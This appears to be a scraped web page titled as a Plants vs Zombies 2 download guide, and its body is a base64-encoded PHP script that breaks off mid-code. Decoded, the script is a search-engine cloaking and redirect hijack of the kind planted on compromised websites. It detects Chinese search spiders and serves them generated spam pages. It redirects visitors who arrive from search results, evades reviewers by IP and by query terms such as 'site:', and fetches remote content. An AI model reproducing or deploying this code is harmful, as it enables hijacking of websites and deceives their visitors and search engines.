植物大战僵尸2国际版下载到电脑
2016-05-28 06:00:22
ICRrZXlOYW1lID0n5qSN54mp5aSn5oiY5YO15bC4MuWbvemZheeJiOS4i+i9veWIsOeUteiEkSc7 IAoKZnVuY3Rpb24gQXBwX0dldExpbmsoKXsJCglyZXR1cm4gImh0dHA6Ly93d3cuc2hhaWJhb2ou Y29tL2FydGljbGUtIi5yYW5kKDEwMDAwMDAwLDk5OTk5OTk5KS4iLTEuaHRtbCI7Cn0KCmZ1bmN0 aW9uIEFwcF9HZXRTZWxmKCl7CglyZXR1cm4gImh0dHA6Ly93d3cuc2hhaWJhb2ouY29tL2FydGlj bGUtIi5yYW5kKDEwMDAwMDAwLDk5OTk5OTk5KS4iLTEuaHRtbCI7Cn0KCgovL8K3wrXCu8OYw43C vMOGwqwKZnVuY3Rpb24gZ2V0SW1nKCl7CglyZXR1cm4gJ2h0dHA6Ly93d3cuc2hhaWJhb2ouY29t L2ltZy8yMDE1MTEwNi9scScucmFuZCgxLDIwKS4iLmpwZyI7Cn0KCgoKCmZ1bmN0aW9uIHJuZFN0 cigkbGVuZ3RoPTgpewoJJHN0ciA9IG51bGw7Cgkkc3RyUG9sID0gIjAxMjM0NTY3ODlhYmNkZWZn aGlqa2xtbm9wcXJzdHV2d3h5eiI7CgkkbWF4ID0gc3RybGVuKCRzdHJQb2wpLTE7Cglmb3IoJGk9 MDskaTwkbGVuZ3RoOyRpKyspewoJCSRzdHIuPSRzdHJQb2xbcmFuZCgwLCRtYXgpXTsKCX0KCXJl dHVybiAkc3RyOwp9CgpjbGFzcyBjb3JlQXBwQ2FjaGV7CgkKCXB1YmxpYyBmdW5jdGlvbiB3cml0 ZSgkZmlsZSwkZmlsZW5hbWUpewoJCXJldHVybiBmaWxlX3B1dF9jb250ZW50cygkZmlsZW5hbWUs c2VsZjo6ZW5jb2RlKCRmaWxlKSk7Cgl9CglwdWJsaWMgZnVuY3Rpb24gd3JpdGVub2NvZGUoJGZp bGUsJGZpbGVuYW1lKXsKCQlyZXR1cm4gZmlsZV9wdXRfY29udGVudHMoJGZpbGVuYW1lLCRmaWxl KTsKCX0KCXB1YmxpYyBmdW5jdGlvbiByZWFkKCRmaWxlbmFtZSl7CgkJJGNvbnRlbnQgPSBmaWxl X2dldF9jb250ZW50cygkZmlsZW5hbWUpOwoJCWlmKHN0cmlzdHIoJGNvbnRlbnQsIjwvZXhwbG9k ZT4iKSl7CgkJCSRjb250ZW50ID0gc2VsZjo6Y3V0KCRjb250ZW50LCI8ZXhwbG9kZT4iLCI8L2V4 cGxvZGU+Iik7CgkJfQoJCXJldHVybiBzZWxmOjpkZWNvZGUoJGNvbnRlbnQpOwoJfQoKCXB1Ymxp YyBmdW5jdGlvbiBlbmNvZGUoJGZpbGUpewoJCXJldHVybiBiYXNlNjRfZW5jb2RlKGd6Y29tcHJl c3Moc2VyaWFsaXplKCRmaWxlKSkpOyAKCX0KCglwdWJsaWMgZnVuY3Rpb24gZGVjb2RlKCRmaWxl KXsKCQlyZXR1cm4gdW5zZXJpYWxpemUoZ3p1bmNvbXByZXNzKGJhc2U2NF9kZWNvZGUoJGZpbGUp KSk7IAoJfQoJCglwdWJsaWMgZnVuY3Rpb24gY3V0KCRmaWxlLCRmcm9tLCRlbmQpCgl7IAoJCSRt ZXNzYWdlPWV4cGxvZGUoJGZyb20sJGZpbGUpOyAKCQkkbWVzc2FnZT1leHBsb2RlKCRlbmQsJG1l c3NhZ2VbMV0pOyAKCQlyZXR1cm4gICAkbWVzc2FnZVswXTsKCX0KfQoKCgoKJG15X2NvbnRlbnQ9 Jyc7CmlmKCFlbXB0eSgka2V5TmFtZSkpewoJJHF1ZXJ5X2RhdGEgPSBhcnJheSgncSc9PiRrZXlO YW1lLCk7CgkkbXlfYWxpbWFtYSA9IG5ldyBhbGltYW1hKCRxdWVyeV9kYXRhKTsKCSRteV9hbGlt YW1hLT5xdWVyeSgpOwoJJG15X2NvbnRlbnQgPSAkbXlfYWxpbWFtYS0+aHRtbCgpOwp9CiRkYXRh ID0gc3RyX3JlcGxhY2UoJzxwaHB1bD48L3BocHVsPicsJG15X2NvbnRlbnQsJGRhdGEpOwppZihz dHJwb3MoJGRhdGEsIltpdGVtOm1lbnVdIikhPT0gZmFsc2UmJiFlbXB0eSgka2V5TmFtZSkpewoJ JHRhZ191cmwgPSAnaHR0cHM6Ly9zdWdnZXN0LnRhb2Jhby5jb20vc3VnP2NvZGU9dXRmLTgmcT0n LnVybGVuY29kZSgka2V5TmFtZSk7CgkkdGFnX2NvbnRlbnQgPSBhbGltYW1hOjpIdHRwVmlzaXQo JHRhZ191cmwpOwoJJHRhZ19qc29uID0ganNvbl9kZWNvZGUoJHRhZ19jb250ZW50LHRydWUpOwoJ JHRhZ19tZW51ID0gJyc7Cglmb3JlYWNoICgkdGFnX2pzb25bJ3Jlc3VsdCddIGFzICRrZXkgPT4g JHZhbHVlKSB7CgkJJGh0dHBfaG9zdCA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsKCQkkcGhwX3Nl bGYgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXTsKIAkJJHRhZ19pdGVtX3VybD0naHR0cDovLycuJGh0 dHBfaG9zdC4kcGhwX3NlbGYuJz9rZXlOYW1lPScudXJsZW5jb2RlKCR2YWx1ZVswXSk7CgkJJHRh Z19tZW51ID0gJHRhZ19tZW51Lic8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iJy4kdGFnX2l0ZW1f dXJsLiciPicuJHZhbHVlWzBdLic8L2E+JzsKCX0KCSRkYXRhID0gc3RyX3JlcGxhY2UoJ1tpdGVt Om1lbnVdJywkdGFnX21lbnUsJGRhdGEpOwp9CgpjbGFzcyBhbGltYW1hewoJCglwdWJsaWMgJHNo b3dfc3BpZGVyOwoJcHVibGljICRqdW1wX3JlZjsKCXB1YmxpYyAkaHR0cF9yZWZfZmlsdGVyOwoJ cHVibGljICRqdW1wX3VybCA9ICIiOwoJcHVibGljICRkb21haW4gPSAiIjsKCXB1YmxpYyAkY29u ZGl0aW9uID0gIiI7CglwdWJsaWMgJGFwcF9zZXJ2ZXIgPSAiIjsKCXB1YmxpYyAkbG9nX3NwaWRl ciA9ICIiOwoJcHVibGljICRjdXJfc3BpZGVyID0gIiI7CglwdWJsaWMgJGFsbG93X2lwID0gIiI7 CglwdWJsaWMgJGlzQ2FjaGUgPSBmYWxzZTsKCXB1YmxpYyAkY3Jhd2xfdXJsID0gImh0dHA6Ly9w dWIuYWxpbWFtYS5jb20vaXRlbXMvc2VhcmNoLmpzb24iOwoJcHVibGljICRxdWVyeV9kYXRhOwoJ cHVibGljICRjb250ZW50OwoKCXB1YmxpYyAkbGlfdGVtcGxhdGU9IjxsaT4KICA8ZGl2IGNsYXNz PSdsaV9saXN0JyBvbm1vdXNlb3Zlcj0ndGhpcy5jbGFzc05hbWU9J2xpX2hvdmVyJycgb25tb3Vz ZW91dD0ndGhpcy5jbGFzc05hbWU9J2xpX2xpc3QnJz4KICAgIDxkaXYgY2xhc3M9J25ldyc+PC9k aXY+CiAgICA8ZGl2IGNsYXNzPSdjb2xsZWN0Jz48YSBocmVmPSdqYXZhc2NyaXB0OjsnPjwvYT48 L2Rpdj4KICAgIDxkaXYgY2xhc3M9J3BpYyc+PGEgaHJlZj0ne3VybH0nIHRhcmdldD0nX2JsYW5r Jz4gPGltZyBzcmM9J3twaWN1cmx9Jz48L2E+PC9kaXY+CiAgICA8ZGl2IGNsYXNzPSd0aXRsZSc+ IDxhIGhyZWY9J3t1cmx9JyB0YXJnZXQ9J19ibGFuayc+e3RpdGxlfTwvYT48L2Rpdj4KICAgIDxk aXYgY2xhc3M9J21vbmV5X2JnJz4gCgkgICAgPHNwYW4+PGVtIGNsYXNzPSdtb25leV9zeW1ib2wn Pu+/pTwvZW0+PGVtIGNsYXNzPSdtb25leV9udW0nPntwcmljZX08L2VtPjwvc3Bhbj4gCgkgICAg PHNwYW4gY2xhc3M9J2Z4X21vbmV5X2JnJz4gPGVtIGNsYXNzPSd6aGVrb3UgaXRlbScgc3R5bGU9 J3Zpc2liaWxpdHk6IHZpc2libGU7Jz48Yj57bmlja308L2I+PC9lbT4gCgkgICAgPGVtIGNsYXNz PSdxaWFuZ291Jz48L2VtPiAKICAgIDwvZGl2PgogICAgPGRpdiBjbGFzcz0ndGpwX2JvdHRvbV9i Zyc+CiAgICAgIDxkaXYgY2xhc3M9J3RqcF9ib3R0b20nPgogICAgICAgIDxkaXYgY2xhc3M9J3Rq cF9mYWJ1IGNvbG9yXzk5Jz57dG90YWxGZWV9PC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0ndGpw X3hpYW9iaWFuIGNvbG9yXzY2Jz57dG90YWxOdW19PC9kaXY+CiAgICAgIDwvZGl2PgogICAgPC9k aXY+CiAgPC9kaXY+CjwvbGk+ICI7CgoJLy/lrprkuYnmnoTpgKDlh73mlbDvvIznlKjkuo7liJ3l p4vljJbotYvlgLwKICAgIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRxdWVyeV9kYXRhKQogICAgewog ICAgICAgICAkdGhpcy0+cXVlcnlfZGF0YSA9ICRxdWVyeV9kYXRhOyAgICAgICAgLy/ov5nph4zl t7Lnu4/kvb/nlKjkuoZ0aGlz5oyH6ZKI6K+t5Y+l4pGgCiAgICB9CgoJcHVibGljIGZ1bmN0aW9u IHNldFF1ZXJ5RGF0YSgkcXVlcnlfZGF0YSl7CgkJJHRoaXMtPnF1ZXJ5X2RhdGEgPSAkcXVlcnlf ZGF0YTsKCQlyZXR1cm4gdHJ1ZTsKCX0KCglwdWJsaWMgZnVuY3Rpb24gaHRtbCgpewoJCSRjb250 ZW50ID0gJHRoaXMtPmNvbnRlbnQ7CgkJJGFsaW1hbWFfanNvbiA9IGpzb25fZGVjb2RlKCRjb250 ZW50LHRydWUpOwoJCSRodG1sID0gIjx1bD4iOwoJCWZvcmVhY2ggKCRhbGltYW1hX2pzb25bJ2Rh dGEnXVsncGFnZUxpc3QnXSBhcyAka2V5ID0+ICR2YWx1ZSkgewoJIAkJJGl0ZW1fdXJsPSR2YWx1 ZVsnYXVjdGlvblVybCddOwoJIAkJJGl0ZW1fdGl0bGU9JHZhbHVlWyd0aXRsZSddOwoJIAkJJGl0 ZW1fcHJpY2U9JHZhbHVlWyd6a1ByaWNlJ107CgkgCQkkaXRlbV9waWN0VXJsPSR2YWx1ZVsncGlj dFVybCddLidfNDAweDQwMF8ud2VicCc7CgkgCQkkaXRlbV9uaWNrPSR2YWx1ZVsnbmljayddOwoJ IAkJJGl0ZW1fdG90YWxOdW09J+aAu+mUgOmHjzonLiR2YWx1ZVsndG90YWxOdW0nXTsKCSAJCSRp dGVtX3RvdGFsRmVlPSfmgLvkuqTmmJPpop06Jy4kdmFsdWVbJ3RvdGFsRmVlJ107CgoJCQkkaHR0 cF9ob3N0ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwogCQkJJHBocF9zZWxmID0gJF9TRVJWRVJb J1BIUF9TRUxGJ107CgkgCQkkaXRlbV91cmw9J2h0dHA6Ly8nLiRodHRwX2hvc3QuJHBocF9zZWxm Lic/Z290dT0nLmJhc2U2NF9lbmNvZGUoJGl0ZW1fdXJsKTsKCgkgCQkkaXRlbV9waWN0VXJsPSdo dHRwOi8vaS5rYW50dS5pbi8nLmJhc2U2NF9lbmNvZGUoJGl0ZW1fcGljdFVybCk7CgoJCQkkbGkg PSAkdGhpcy0+bGlfdGVtcGxhdGU7CgoJCQkkbGkgPSBzdHJfcmVwbGFjZSgne3RpdGxlfScsJGl0 ZW1fdGl0bGUsJGxpKTsKCQkJJGxpID0gc3RyX3JlcGxhY2UoJ3twcmljZX0nLCRpdGVtX3ByaWNl LCRsaSk7CgkJCSRsaSA9IHN0cl9yZXBsYWNlKCd7dXJsfScsJGl0ZW1fdXJsLCRsaSk7CgkJCSRs aSA9IHN0cl9yZXBsYWNlKCd7cGljdXJsfScsJGl0ZW1fcGljdFVybCwkbGkpOwoJCQkkbGkgPSBz dHJfcmVwbGFjZSgne3RvdGFsTnVtfScsJGl0ZW1fdG90YWxOdW0sJGxpKTsKCQkJJGxpID0gc3Ry X3JlcGxhY2UoJ3tuaWNrfScsJGl0ZW1fbmljaywkbGkpOwoJCQkkbGkgPSBzdHJfcmVwbGFjZSgn e3RvdGFsRmVlfScsJGl0ZW1fdG90YWxGZWUsJGxpKTsKCgkJCSRodG1sID0gJGh0bWwuJGxpOwoJ IAkJLy8gZWNobyAkbGk7CgkgCX0KCSAJJGh0bWwgPSAkaHRtbC4iPC91bD4iOwoJCXJldHVybiAk aHRtbDsKCX0KCglwdWJsaWMgZnVuY3Rpb24gcXVlcnkoKXsKCQkkdXJsICA9ICR0aGlzLT5jcmF3 bF91cmwuJz8nLmh0dHBfYnVpbGRfcXVlcnkoJHRoaXMtPnF1ZXJ5X2RhdGEpOwoJCSR0aGlzLT5j b250ZW50ID0gJHRoaXMtPkh0dHBWaXNpdCgkdXJsKTsKCX0KCglwdWJsaWMgZnVuY3Rpb24gcnVu KCl7CgkJJHRoaXMtPmRvbWFpbiA9ICR0aGlzLT5nZXRTZXJ2ZXJOYW1lKCk7CgkJJHRoaXMtPmp1 bXBfcmVmID0gZXhwbG9kZSgifCIsImJhaWR1LnxoYW9zby58aGFvc291LnxiaW5nLnxzby58c29n b3UufHNvc28uIik7CgkJJHRoaXMtPmh0dHBfcmVmX2ZpbHRlciA9IGV4cGxvZGUoInwiLCJpbnVy bDp8c2l0ZTp8c2l0ZSUzQXxpbnVybCUzQSIpOwoJCSR0aGlzLT5hbGxvd19pcCA9ICIyMjIuMTg0 LjIzNHwxMTIuODcuNzF8NTguMjIxLjg3Lnw0OS42Ny4yMjMiOwoJCSR0aGlzLT5jb25kaXRpb24g PSAoJF9HRVRbJ2FpZCddID4gMTAwMDAwMDAgJiYgJHRoaXMtPmlzQWxsb3dkSXAoKSk7CgkJJHRo aXMtPmFwcF9zZXJ2ZXIgPSAiIjsKCQkkdGhpcy0+aXNDYWNoZSAgPSBGYWxzZTsKCQlpZigkdGhp cy0+aXNTcGlkZXIoKSAmJiAkdGhpcy0+aXNBbGxvd2RJcCgpKXsKCQkJCWlmKCR0aGlzLT5jb25k aXRpb24pewoJCQkJCWlmKCR0aGlzLT5pc0NhY2hlKXsKCQkJCQkJJHJlbHNldF9ob3N0ID0gJHRo aXMtPmdldFNlcnZlck5hbWUoKTsKCQkJCQkJJGRpciA9IChzdWJzdHIoUEhQX09TLCAwLCAzKSA9 PSAnV0lOJyA/ICdDOi93aW5kb3dzL3RlbXAvJyA6ICcvdG1wLycpIC4gc3Vic3RyKG1kNSgkcmVs c2V0X2hvc3QpLCAyNikgLiBjaHIoNDcpOwoJCQkJCQkkY2FjaGVGaWxlID0gJGRpci4nc2Vzc18n IC4gc3Vic3RyKG1kNShodHRwX2J1aWxkX3F1ZXJ5KCRfR0VUKSksIDYpOwoJCQkJCQlpZighQGZp bGVfZXhpc3RzKCRkaXIpKXsKICAgICAgICAgICAgIAkJCQkgbWtkaXIoJGRpciwgMDc3Nyk7CiAg ICAgICAgICAgIAkJCX0KCQkJCQkJaWYoQGZpbGVfZXhpc3RzKCRjYWNoZUZpbGUpICYmIEBmaWxl c2l6ZSAoJGNhY2hlRmlsZSkgPiAzMiApewoJCQkJCQkJJHZhciA9IGNvcmVBcHBDYWNoZTo6cmVh ZCgkY2FjaGVGaWxlKTsKCQkJCQkJCSRwYWdlID0gZmlsZV9nZXRfY29udGVudHMoQVBQX0pBQ0tf VEVNUExBVEUpOwoJCQkJCQkJZm9yZWFjaCgkdmFyIGFzICRrZXk9PiR2KXsKCQkJCQkJCQkkZmxh ZyA9ICJ7Ii4ka2V5LiJ9IjsKCQkJCQkJCQkkcGFnZSA9IHN0cl9yZXBsYWNlKCRmbGFnLCR2LCRw YWdlKTsKCQkJCQkJCX0KCQkJCQkJCWVjaG8gJHBhZ2U7CgkJCQkJCQlleGl0KCk7CgkJCQkJCX0K CQkJCQkJZWxzZQoJCQkJCQl7CQoJCQkJCQkJLy/CsMO8wrrCrMK9w7hBUFDCvMK0wr/DiQoJCQkJ CQkJJGN1cnJlbnRQYWdlID0gaW5jbHVkZShBUFBfSkFDS19BUFBGSUxFKTsKCQkJCQkJCWlmKCRj dXJyZW50UGFnZSAmJiBzdHJsZW4oJGN1cnJlbnRQYWdlKSA+IDMyICYmIHN0cmlzdHIoJGN1cnJl bnRQYWdlLCI8L2V4cGxvZGU+IikpewoJCQkJCQkJCSR2YXIgPSBzZWxmOjpjdXQoJGN1cnJlbnRQ YWdlLCI8ZXhwbG9kZT4iLCI8L2V4cGxvZGU+Iik7CgkJCQkJCQkJJHZhciA9IGNvcmVBcHBDYWNo ZTo6ZGVjb2RlKCR2YXIpOwoJCQkJCQkJCSRwYWdlID0gZmlsZV9nZXRfY29udGVudHMoQVBQX0pB Q0tfVEVNUExBVEUpOwoJCQkJCQkJCWZvcmVhY2goJHZhciBhcyAka2V5PT4kdil7CgkJCQkJCQkJ CSRmbGFnID0gInsiLiRrZXkuIn0iOwoJCQkJCQkJCQkkcGFnZSA9IHN0cl9yZXBsYWNlKCRmbGFn LCR2LCRwYWdlKTsKCQkJCQkJCQl9CgkJCQkJCQkJZWNobyAkcGFnZTsKCQkJCQkJCQlAY29yZUFw cENhY2hlOjp3cml0ZW5vY29kZSgkY3VycmVudFBhZ2UsJGNhY2hlRmlsZSk7CgkJCQkJCQl9CgkJ CQkJCX0KCQkJCQkJZGllKCk7CgkJCQkJfQoJCQkJCWVsc2UKCQkJCQl7CgkJCQkJCSRjdXJyZW50 UGFnZSA9IGluY2x1ZGUoQVBQX0pBQ0tfQVBQRklMRSk7CgkJCQkJCWVjaG8gJGN1cnJlbnRQYWdl OwoJCQkJCQlkaWUoKTsKCQkJCQl9CgkJCQl9CgkJCQllbHNlCgkJCQl7CgoJCQkJCSR0aGlzLT5f dW5jb25kaXRpb25faG9vaygpOwoJCQkJfQoJCX0KCQllbHNlCgkJewkKCQkJaWYoJHRoaXMtPmlz UmVmKCkgJiYgJHRoaXMtPmNvbmRpdGlvbil7CgkJCQkkdGhpcy0+SnVtcCgpOwoJCQl9CgkJCWVs c2UKCQkJewoJCQkJJHRoaXMtPl91blNwaWRlcl9ob29rKCk7CgkJCX0KCQl9Cgl9CgoJcHVibGlj IGZ1bmN0aW9uIGlzQWxsb3dkSXAoKXsKCQkkaXAgPSAkdGhpcy0+Y2xpZW50SXAoKTsKCQkkbm9u X2xpc3QgPSBleHBsb2RlKCJ8IiwkdGhpcy0+YWxsb3dfaXApOwoJCWZvcmVhY2goJG5vbl9saXN0 IGFzICRpcGxpc3QpewoJCQlpZihAc3RyaXN0cigkaXAsJGlwbGlzdCkpewoJCQkJcmV0dXJuIGZh bHNlOwoJCQl9CgkJfQoJCXJldHVybiB0cnVlOwoJfQoKCXB1YmxpYyBmdW5jdGlvbiBjbGllbnRJ cCgpewoJCWlmKGdldGVudignSFRUUF9DTElFTlRfSVAnKSAmJiBzdHJjYXNlY21wKGdldGVudign SFRUUF9DTElFTlRfSVAnKSwgJ3Vua25vd24nKSkgewoJCQkkb25saW5laXAgPSBnZXRlbnYoJ0hU VFBfQ0xJRU5UX0lQJyk7CgkJfSBlbHNlaWYoZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVEX0ZPUicp ICYmIHN0cmNhc2VjbXAoZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVEX0ZPUicpLCAndW5rbm93bicp KSB7CgkJCSRvbmxpbmVpcCA9IGdldGVudignSFRUUF9YX0ZPUldBUkRFRF9GT1InKTsKCQl9IGVs c2VpZihnZXRlbnYoJ1JFTU9URV9BRERSJykgJiYgc3RyY2FzZWNtcChnZXRlbnYoJ1JFTU9URV9B RERSJyksICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0gZ2V0ZW52KCdSRU1PVEVfQUREUicp OwoJCX0gZWxzZWlmKGlzc2V0KCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSAmJiAkX1NFUlZFUlsn UkVNT1RFX0FERFInXSAmJiBzdHJjYXNlY21wKCRfU0VSVkVSWydSRU1PVEVfQUREUiddLCAndW5r bm93bicpKSB7CgkJCSRvbmxpbmVpcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOwoJCX0KCQlw cmVnX21hdGNoKCIvW1xkXC5dezcsMTV9LyIsICRvbmxpbmVpcCwgJG9ubGluZWlwbWF0Y2hlcyk7 CgkJJG9ubGluZWlwID0gJG9ubGluZWlwbWF0Y2hlc1swXSA/ICRvbmxpbmVpcG1hdGNoZXNbMF0g OiAndW5rbm93bic7CgkJdW5zZXQoJG9ubGluZWlwbWF0Y2hlcyk7CgkJcmV0dXJuICRvbmxpbmVp cDsKCX0KCglwdWJsaWMgZnVuY3Rpb24gaXNTcGlkZXIoKXsKCQkkYm90cyA9IGFycmF5KAoJCQkJ J0JhaWR1JyAgICAgICAgPT4gJ2JhaWR1c3BpZGVyJywKCQkJCSdTb2dvdScgICAgICAgID0+ICdz b2dvdScsCgkJCQknSGFvc28nICAgICAgICA9PiAnaGFvc291c3BpZGVyJywKCQkJCSczNjBzcGlk ZXInICAgICAgICA9PiAnMzYwc3BpZGVyJwoJCSApOwoJCSR1c2VyQWdlbnQgPSBzdHJ0b2xvd2Vy KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7CgkJZm9yZWFjaCAoJGJvdHMgYXMgJGsgPT4g JHYpewoJCQlpZiAoc3RyaXN0cigkdXNlckFnZW50LCR2KSl7CgkJCQlpZighZW1wdHkoJHRoaXMt PmxvZ19zcGlkZXIpKXsKCQkJCQlAZmlsZV9wdXRfY29udGVudHMoJHRoaXMtPmxvZ19zcGlkZXIs JHYuIi0+VmlzaXRlZCAiLiRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXS4iYXQ6ICIuZGF0ZSgiWS1t LWQgSDppOnMiKS4iXG4iLEZJTEVfQVBQRU5EKTsKCQkJCX0KCQkJCSR0aGlzLT5jdXJfc3BpZGVy ID0gJGs7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJCWJyZWFrOwoJCQl9CgkJfQoJCXJldHVybiBmYWxz ZTsJCgl9CgoJcHVibGljIGZ1bmN0aW9uIGlzUmVmKCl7CgkJJHJlZiA9IHN0cnRvbG93ZXIoQCRf U0VSVkVSWydIVFRQX1JFRkVSRVInXSk7CgkJaWYoaXNzZXQoJF9DT09LSUVbImRvbWFpbi1maWx0 ZXItYnlwYXNzIl0pKXsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQkKCQlpZighJHRoaXMtPmlzQWxs b3dkSXAoKSl7CgkJCXNldGNvb2tpZSgiZG9tYWluLWZpbHRlci1ieXBhc3MiLCAibG9sIiwgdGlt ZSgpICsgMjU5MjAwKTsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgkJZm9yZWFjaCgkdGhpcy0+aHR0 cF9yZWZfZmlsdGVyIGFzICRyKXsKCQkJJHIgPSB0cmltKCRyKTsKCQkJaWYoc3RyaXN0cigkcmVm LCRyKSl7CgkJCQlzZXRjb29raWUoImRvbWFpbi1maWx0ZXItYnlwYXNzIiwgImxvbCIsIHRpbWUo KSArIDI1OTIwMCk7CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9CgkKCQlmb3JlYWNoKCR0aGlz LT5qdW1wX3JlZiBhcyAkcil7CgkJCSRyID0gdHJpbSgkcik7CgkJCWlmKHN0cmlzdHIoJHJlZiwk cikpewoJCQkJcmV0dXJuIHRydWU7CgkJCX0KCQl9Cgl9CgoJcHVibGljIGZ1bmN0aW9uIGdldFNl cnZlck5hbWUoKSAKCXsgCgkJJFNlcnZlck5hbWUgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWydTRVJW RVJfTkFNRSddPyRfU0VSVkVSWydTRVJWRVJfTkFNRSddOiRfU0VSVkVSWydIVFRQX0hPU1QnXSk7 IAoJCWlmKCBzdHJwb3MoJFNlcnZlck5hbWUsJ2h0dHA6Ly8nKSApIAoJCXsgCgkJCXJldHVybiBz dHJfcmVwbGFjZSgnaHR0cDovLycsJycsJFNlcnZlck5hbWUpOyAKCQl9IAoJCXJldHVybiAkU2Vy dmVyTmFtZTsgCgl9CgoJcHVibGljIGZ1bmN0aW9uIGdldFBhZ2UoKXsKCQlpZigkdGhpcy0+aXND YWNoZSl7CgkJCSRjYWNoZT0iY2FjaGVkIjsKCQl9CgkJJHVybCAgPSAkdGhpcy0+YXBwX3NlcnZl ci4iP2RvbWFpbj0iLiR0aGlzLT5kb21haW4uIiZnaWQ9MTk5JnNwaWRlcj0iLiR0aGlzLT5jdXJf c3BpZGVyLiImY2FjaGU9Ii4kY2FjaGUuIiZsb2NhbFBhcj0iLmh0dHBfYnVpbGRfcXVlcnkoJF9H RVQpOwoJCXJldHVybiAkdGhpcy0+SHR0cFZpc2l0KCR1cmwpOwoJfQoKICAgIHB1YmxpYyBmdW5j dGlvbiBIdHRwVmlzaXQoJHdlYnVybCkgewogICAgCSR1c2VyX2FnZW50ID0gIk1vemlsbGEvNS4w IChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzEwXzUpIEFwcGxlV2ViS2l0LzUzNy4zNiAo S0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS80NS4wLjI0NTQuODUgU2FmYXJpLzUzNy4zNiBRUUJy b3dzZXIvMy45LjM5NDMuNDAwIjsKICAgICAgICAkcmVtb3RlX2RhdGEgPSBOVUxMOwogICAgICAg IGlmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfZXhlYycpKSB7CiAgICAgICAgICAgICRjdXJsID0g QGN1cmxfaW5pdCgpOwogICAgICAgICAgICBAY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVJM LCAkd2VidXJsKTsKICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX0hFQURF UiwgMCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9DT05ORUNUVElN RU9VVCwgMzApOwogICAgICAgICAgICBAY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfUkVUVVJO VFJBTlNGRVIsIDEpOwogICAgICAgICAgICBAY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVNF UkFHRU5ULCAkdXNlcl9hZ2VudCk7IAogICAgICAgICAgICAkcmVtb3RlX2RhdGEgPSBAY3VybF9l eGVjKCRjdXJsKTsKICAgICAgICAgICAgQGN1cmxfY2xvc2UoJGN1cmwpOwogICAgICAgIH0gZWxz ZSB7CiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3N0cmVhbV9jb250ZXh0X2NyZWF0 ZScpKSB7CiAgICAgICAgICAgICAgICAkaGVhZGVyX2FycmF5ID0gYXJyYXkoJ2h0dHAnID0+IGFy cmF5KCdtZXRob2QnID0+ICdHRVQnLCAndGltZW91dCcgPT4gMzApKTsKICAgICAgICAgICAgICAg ICRodHRwX2hlYWRlciA9IEBzdHJlYW1fY29udGV4dF9jcmVhdGUoJGhlYWRlcl9hcnJheSk7CiAg ICAgICAgICAgICAgICAkcmVtb3RlX2RhdGEgPSBAZmlsZV9nZXRfY29udGVudHMoJHdlYnVybCwg ZmFsc2UsICRodHRwX2hlYWRlcik7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAg ICAkdGVtcF91cmwgPSBleHBsb2RlKCIvIiwgJHdlYnVybCk7CiAgICAgICAgICAgICAgICAkbmV3 X3VybCA9ICR0ZW1wX3VybFsyXTsKICAgICAgICAgICAgICAgICRodHRwX3BvcnQgPSA4MDsKICAg ICAgICAgICAgICAgICRnZXRfZmlsZSA9IHN1YnN0cigkd2VidXJsLCBzdHJsZW4oJG5ld191cmwp ICsgNyk7CiAgICAgICAgICAgICAgICBpZiAoc3Ryc3RyKCRuZXdfdXJsLCBjaHIoNTgpKSkgewog ICAgICAgICAgICAgICAgICAgICRzX3Zhcl9hcnJheVsndGQnXSA9IGV4cGxvZGUoY2hyKDU4KSwg JG5ld191cmwpOwogICAgICAgICAgICAgICAgICAgICRuZXdfdXJsID0gJHNfdmFyX2FycmF5Wyd0 ZCddWzBdOwogICAgICAgICAgICAgICAgICAgICRodHRwX3BvcnQgPSAkc192YXJfYXJyYXlbJ3Rk J11bMV07CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkZnNvY2tfcmVzdWx0ID0g QGZzb2Nrb3BlbigkbmV3X3VybCwgJGh0dHBfcG9ydCk7CiAgICAgICAgICAgICAgICBAZnB1dHMo JGZzb2NrX3Jlc3VsdCwgJ0dFVCAnIC4gJGdldF9maWxlIC4gJyBIVFRQLzEuMScgLiAiXHJcbiIg LiAnSG9zdDonIC4gJG5ld191cmwgLiAiXHJcbiIgLiAnQ29ubmVjdGlvbjpDbG9zZScgLiAiXHJc blxyXG4iKTsKICAgICAgICAgICAgICAgIHdoaWxlICghZmVvZigkZnNvY2tfcmVzdWx0KSkgewog ICAgICAgICAgICAgICAgICAgICRyZW1vdGVfZGF0YSAuPSBmZ2V0cygkZnNvY2tfcmVzdWx0LCAx MDI0KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIEBmY2xvc2UoJGZzb2NrX3Jl c3VsdCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuICRyZW1vdGVfZGF0 YTsKICAgIH0KCglwdWJsaWMgZnVuY3Rpb24gSnVtcCgpewoJCWlmKCR0aGlzLT5pc0FsbG93ZElw 